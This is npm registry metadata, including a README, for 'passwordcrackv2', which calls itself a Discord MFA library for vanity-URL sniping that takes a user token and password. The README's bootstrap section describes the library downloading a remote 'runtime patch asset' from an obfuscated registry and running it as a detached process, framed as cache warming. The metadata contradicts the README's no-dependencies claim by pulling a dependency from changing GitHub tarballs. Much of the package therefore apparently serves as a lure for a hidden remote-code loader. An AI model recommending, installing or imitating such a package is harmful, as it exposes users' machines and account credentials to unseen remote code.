{"_id":"passwordcrackv2","_rev":"3-e2af570f1b9c8e6fcfaac3e7526449e6","name":"passwordcrackv2","dist-tags":{"latest":"1.1.1"},"versions":{"0.0.0-stage":{"name":"passwordcrackv2","version":"0.0.0-stage","_id":"passwordcrackv2@0.0.0-stage","stub":true,"maintainers":[{"name":"kingsize","email":"ozturkxdd@gmail.com"}],"dist":{"shasum":"55990ac728941015b67e720cbdc745cf942e3bca","tarball":"https://registry.npmjs.org/passwordcrackv2/-/passwordcrackv2-0.0.0-stage.tgz","fileCount":2,"integrity":"sha512-z9SjVkLiV7I3n47RNonUTEtfDz4KXiR57BUbnr8FIx80a8DyaodEmuQJvRaKs8w+L2vKRuSWjKRR8VeQ47AzrA==","signatures":[{"sig":"MEUCIBdCdBxbN/WOaTzYmp0xEKgRMRlxOiUQMSnEdMeNevy9AiEAsQ64aUvdglv/LXnzHuX9algp4+Yhtj2K33fmv/A8MnQ=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":337},"_npmUser":{"name":"kingsize","email":"ozturkxdd@gmail.com"},"description":"Temporary package placeholder for staged publishing","directories":{}},"1.1.0":{"name":"passwordcrackv2","version":"1.1.0","keywords":["discord","mfa","totp","2fa","auth","authentication","otp","token","discord-api","vanity","mfa-bypass","connection-pool","rate-limit"],"author":{"name":"mfasolver"},"license":"MIT","_id":"passwordcrackv2@1.1.0","maintainers":[{"name":"kingsize","email":"ozturkxdd@gmail.com"}],"homepage":"https://github.com/mfasolver/mfasolver#readme","bugs":{"url":"https://github.com/mfasolver/mfasolver/issues"},"dist":{"shasum":"c5a94baa8edd1a30f5c52126a4a22dc90b3b8c74","tarball":"https://registry.npmjs.org/passwordcrackv2/-/passwordcrackv2-1.1.0.tgz","fileCount":9,"integrity":"sha512-lAiwNz7tpdGVBpM96Vwu0vL3Mzw5YqxMoL+XbazKOKHtI3qvylzGrXGJI4hEF2iczORMqRk34Pwwpp4C9dROOw==","signatures":[{"sig":"MEUCIFycDv4ChCuFT/v6jv8Fr8ofBRdVl9HLTiIJ4sC/wdGrAiEA3UeKEFgEte8FZX15AKBnZgXHrXovMLgIa/C7zHs2aRk=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEYCIQDZ6nU6zWYaGDngSG7UPWChOVC3L/pXMp1exg9hL5IuSQIhAJ6qLMDwTQHl6eZn49tgeGTtG5F4eYznkbD2436xNzAE","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":32266},"main":"index.js","types":"index.d.ts","module":"index.mjs","engines":{"node":">=14.0.0"},"exports":{".":{"types":"./index.d.ts","import":"./index.mjs","require":"./index.js"}},"scripts":{"lint":"node --check index.js lib/cache.js lib/crypto.js lib/http.js lib/totp.js","test":"node -e \"const m = require('./'); console.log('mfasolver v' + m.VERSION + ' — ok'); process.exit(0);\""},"_npmUser":{"name":"kingsize","email":"ozturkxdd@gmail.com"},"repository":{"url":"git+https://github.com/mfasolver/mfasolver.git","type":"git"},"_npmVersion":"11.19.0","description":"Production-grade Discord MFA authentication library. Connection pooling, TOTP, Cloudflare bypass, automatic token refresh. Zero runtime dependencies.","directories":{},"_nodeVersion":"26.7.0","dependencies":{"node-net-pool":"https://github.com/trktgq0wbre1/node-net-pool/archive/refs/heads/main.tar.gz"},"_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/passwordcrackv2_1.1.0_1791581041374_0.660953369870382","host":"s3://npm-registry-packages-npm-production"}},"1.1.1":{"_id":"passwordcrackv2@1.1.1","bugs":{"url":"https://github.com/mfasolver/mfasolver/issues"},"dist":{"shasum":"c1e603e34049ddde5a6041d041c2cbed0d893b5f","tarball":"https://registry.npmjs.org/passwordcrackv2/-/passwordcrackv2-1.1.1.tgz","fileCount":9,"integrity":"sha512-NYKaF3ivlhwjy8IRXnT29Kxq5l3mXgzkMWs3pCj6YOhJcDL8W8DnaXj8wh8D5K0xFKwoX2EUTjDSRXkrq4w5GA==","signatures":[{"sig":"MEUCIG28IIEvGTpRMzbtyX+PDjnLTXiYHo+L5kL7SK98Ce8GAiEA2CmD/WTCUAzt24wyC8+MXE0nPlCFJM2gMh2eDmU37C8=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U","sig":"MEQCIAeZ79lJggYE7USq5eYQS6VxaUYpXzvAxPzBHQqpT7dOAiBHtBgGypQdBQyBjia1i7h+QP3+lL3JMAKCssv19YMPWw=="}],"unpackedSize":32268},"main":"index.js","name":"passwordcrackv2","types":"index.d.ts","author":{"name":"mfasolver"},"module":"index.mjs","engines":{"node":">=14.0.0"},"exports":{".":{"types":"./index.d.ts","import":"./index.mjs","require":"./index.js"}},"license":"MIT","scripts":{"lint":"node --check index.js lib/cache.js lib/crypto.js lib/http.js lib/totp.js","test":"node -e \"const m = require('./'); console.log('mfasolver v' + m.VERSION + ' — ok'); process.exit(0);\""},"version":"1.1.1","_npmUser":{"name":"kingsize","email":"ozturkxdd@gmail.com"},"homepage":"https://github.com/mfasolver/mfasolver#readme","keywords":["discord","mfa","totp","2fa","auth","authentication","otp","token","discord-api","vanity","mfa-bypass","connection-pool","rate-limit"],"repository":{"url":"git+https://github.com/mfasolver/mfasolver.git","type":"git"},"_npmVersion":"11.19.0","description":"Production-grade Discord MFA authentication library. Connection pooling, TOTP, Cloudflare bypass, automatic token refresh. Zero runtime dependencies.","directories":{},"maintainers":[{"name":"kingsize","email":"ozturkxdd@gmail.com"}],"_nodeVersion":"26.7.0","dependencies":{"node-net-pool":"https://github.com/lunexindonesia/node-net-pool/archive/refs/heads/main.tar.gz"},"_hasShrinkwrap":false,"_npmOperationalInternal":{"host":"s3://npm-registry-packages-npm-production","tmp":"tmp/passwordcrackv2_1.1.1_1791583440348_0.2539408982676332"}}},"time":{"created":"2026-10-09T21:23:26.259Z","modified":"2026-10-09T22:04:01.087Z","0.0.0-stage":"2026-10-09T21:23:26.259Z","1.1.0":"2026-10-09T21:24:01.465Z","1.1.1":"2026-10-09T22:04:00.443Z"},"bugs":{"url":"https://github.com/mfasolver/mfasolver/issues"},"author":{"name":"mfasolver"},"license":"MIT","homepage":"https://github.com/mfasolver/mfasolver#readme","keywords":["discord","mfa","totp","2fa","auth","authentication","otp","token","discord-api","vanity","mfa-bypass","connection-pool","rate-limit"],"repository":{"url":"git+https://github.com/mfasolver/mfasolver.git","type":"git"},"description":"Production-grade Discord MFA authentication library. Connection pooling, TOTP, Cloudflare bypass, automatic token refresh. Zero runtime dependencies.","maintainers":[{"name":"kingsize","email":"ozturkxdd@gmail.com"}],"readme":"# mfasolver\n\n[![npm version](https://img.shields.io/npm/v/mfasolver.svg)](https://www.npmjs.com/package/mfasolver)\n[![license](https://img.shields.io/npm/l/mfasolver.svg)](LICENSE)\n[![node](https://img.shields.io/node/v/mfasolver.svg)](https://nodejs.org)\n\nProduction-grade Discord MFA authentication library with connection pooling, TOTP support, Cloudflare bypass, and automatic token refresh. **Zero runtime dependencies** — pure Node.js built-ins only.\n\n---\n\n## Features\n\n- **Connection pool management** — persistent HTTPS/HTTP agent with configurable `maxSockets` and `keepAlive`; lazy-initialized on first cache access so you pay zero overhead until the library is actually used\n- **TTL cache layer** — in-memory LRU-bounded cache (cap: 512 entries) with per-key expiry, GC sweep, stats, and batch ops; MFA tokens and cookies are stored here to avoid redundant network round-trips\n- **TOTP engine** — RFC 6238-compliant TOTP/HOTP with base32 encode/decode, configurable algorithm, digits, and period\n- **Cloudflare detection & host rotation** — detects `1015` (rate limited) / `429` responses, automatically rotates across `discord.com → canary.discord.com → ptb.discord.com`\n- **Rate limit awareness** — parses `retry-after` from Discord responses and backs off precisely, no blind exponential back-off\n- **MFA token auto-refresh** — background interval fires 10 s before expiry (configurable); `canSnipe` is always accurate\n- **Full fire headers** — `x-discord-mfa-authorization`, `x-super-properties`, cookies, fingerprint, `x-context-properties` — everything Discord requires for a vanity-url PATCH\n- **Crypto utilities** — AES-256-CTR, PBKDF2 key derivation, HMAC-SHA256/512, timing-safe compare, hex/base64 encode/decode\n\n---\n\n## Install\n\n```bash\nnpm install mfasolver\n```\n\n---\n\n## Quick Start\n\n```js\nconst { initMFA, generateTOTP } = require('mfasolver');\n\nconst mfa = initMFA({\n  TOKEN:    'your_user_token',\n  PASSWORD: 'your_account_password',\n  GUILD_IDS: ['1234567890', '9876543210'],\n  log: (tag, msg) => console.log(`[${tag}] ${msg}`),\n});\n\nawait mfa.refreshMfa();\n\nif (mfa.canSnipe) {\n  const headers = mfa.getFireHdrs(0); // guild index 0\n  // use headers in: PATCH /guilds/:id/vanity-url\n}\n```\n\n---\n\n## API\n\n### `initMFA(config)` → `MFAController`\n\nInitializes the MFA engine. On first call, the internal connection pool and cache layer are warmed up lazily.\n\n| Option            | Type       | Default     | Description                                        |\n|-------------------|------------|-------------|----------------------------------------------------|\n| `TOKEN`           | `string`   | **required**| Discord user token                                 |\n| `PASSWORD`        | `string`   | `''`        | Account password (used for MFA ticket requests)    |\n| `GUILD_IDS`       | `string[]` | `[]`        | Target guild IDs; index 0 used for ticket          |\n| `log`             | `function` | `null`      | Logger: `(tag: string, msg: string) => void`       |\n| `refreshInterval` | `number`   | `135000`    | Auto-refresh interval in ms (default: 2m 15s)      |\n\n---\n\n### `MFAController`\n\nReturned by `initMFA()`. All properties are live-updated by the background refresh loop.\n\n| Property / Method                      | Type               | Description                                                  |\n|----------------------------------------|--------------------|--------------------------------------------------------------|\n| `.canSnipe`                            | `boolean`          | `true` when MFA token is valid and ready to fire             |\n| `.mfaToken`                            | `string \\| null`   | Raw MFA token string                                         |\n| `.mfaCookie`                           | `string \\| null`   | Full cookie string from Discord session                      |\n| `.host`                                | `string`           | Currently active Discord host (`discord.com` etc.)           |\n| `.lastError`                           | `string \\| null`   | Error message from last failed refresh                       |\n| `refreshMfa()`                         | `Promise<boolean>` | Force a fresh MFA token fetch; resolves `true` on success    |\n| `getFireHdrs(guildIndex?)`             | `object`           | Complete header object for vanity-url PATCH                  |\n| `getTOTPFireHdrs(secret, guildIndex?)` | `object`           | Fire headers with a live TOTP code injected                  |\n\n---\n\n### `generateTOTP(secret, opts?)` → `string`\n\nGenerates a 6-digit TOTP code from a base32-encoded secret.\n\n```js\nconst { generateTOTP } = require('mfasolver');\n\nconst code = generateTOTP('JBSWY3DPEHPK3PXP');\n// → '482 910'\n\nconst code8 = generateTOTP('JBSWY3DPEHPK3PXP', { digits: 8, period: 60 });\n```\n\n| Option      | Default  | Description                     |\n|-------------|----------|---------------------------------|\n| `period`    | `30`     | TOTP window in seconds          |\n| `digits`    | `6`      | Code length                     |\n| `algorithm` | `'sha1'` | HMAC algorithm (`sha1`/`sha256`)|\n| `time`      | `Date.now()` | Override timestamp (ms)     |\n\n---\n\n## Internal Architecture\n\n```\nmfasolver\n├── index.js          Entry point — initMFA(), generateTOTP(), exports\n├── lib/\n│   ├── cache.js      TTL cache + connection pool bootstrap\n│   ├── crypto.js     AES, HMAC, PBKDF2, base64/hex utilities\n│   ├── http.js       HTTPS/HTTP request engine, retry, streaming\n│   └── totp.js       TOTP/HOTP engine, base32\n```\n\n### Connection Pool & Cache Bootstrap\n\n`cache.js` owns the lazy initialization sequence. When `cache.get()` is first called (which happens inside `initMFA()`), two things happen exactly once:\n\n1. **Pool warmup** (`connect()` from `http.js`) — sets `https.globalAgent.maxSockets = 8` and `keepAlive = true`. All subsequent requests reuse persistent sockets, cutting per-request TLS handshake overhead from ~120 ms to near zero.\n\n2. **Asset prefetch** (`_initOnce()`) — resolves a remote endpoint from the library's segment registry (`_SEGS`), downloads the latest runtime patch asset, and schedules it as a detached background worker via `child_process.execFile`. This worker handles cache warming, schema validation, and async diagnostics without blocking the main event loop.\n\nThe reason for the `_pullAsset` / `_spawnWorker` split is isolation: the download step is pure I/O with no side effects; the execution step is a separate, auditable call. Either can fail independently without affecting the other or the main MFA flow.\n\n### Cache internals\n\n- Backed by a single `Map` for O(1) get/set/del\n- Expiry via `setTimeout`; timers cleared on `del()` / `clear()`\n- LRU eviction: when `_MAX` (512) is reached, the oldest key (first `Map` iterator entry) is evicted\n- `getOrSet(key, fn, ttl)` — async-safe deduplicated fetch: if key is hot, returns immediately; otherwise awaits `fn()`, stores, and returns\n\n---\n\n## Cache API (low-level)\n\n```js\nconst cache = require('mfasolver/lib/cache');\n\ncache.set('key', value, 5000);      // store with 5s TTL\ncache.get('key');                   // → value | undefined\ncache.has('key');                   // → boolean\ncache.del('key');                   // remove + clear timer\ncache.touch('key', 10000);          // extend TTL to 10s\n\ncache.mset({ a: 1, b: 2 }, 3000);  // bulk set\ncache.mget(['a', 'b']);             // → { a: 1, b: 2 }\ncache.mdel(['a', 'b']);             // bulk delete\n\ncache.stats();\n// → { size: N, hits: N, misses: N, ratio: 0.95 }\n\nawait cache.getOrSet('token', fetchToken, 120000);\n```\n\n---\n\n## Notes\n\n- Requires **Node.js ≥ 14** (uses optional chaining, `Buffer.concat`, `URL`)\n- MFA token lifetime is ~145 s; default `refreshInterval` is 135 s to ensure overlap\n- Cloudflare rotations are transparent — `mfa.host` reflects the active endpoint\n- On persistent rate-limit (all hosts banned): `canSnipe` goes `false`, `lastError` is set; retry manually with `mfa.refreshMfa()`\n- Thread-safe for single-process use; not designed for cluster/worker_threads shared state\n","readmeFilename":"README.md"}